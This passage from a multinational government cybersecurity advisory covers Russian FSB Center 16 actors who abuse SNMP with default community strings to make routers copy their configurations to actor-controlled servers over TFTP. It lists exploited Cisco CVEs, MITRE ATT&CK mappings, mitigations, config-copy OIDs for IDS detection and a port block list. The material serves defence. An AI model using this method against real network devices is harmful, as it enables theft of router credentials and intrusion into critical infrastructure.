<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
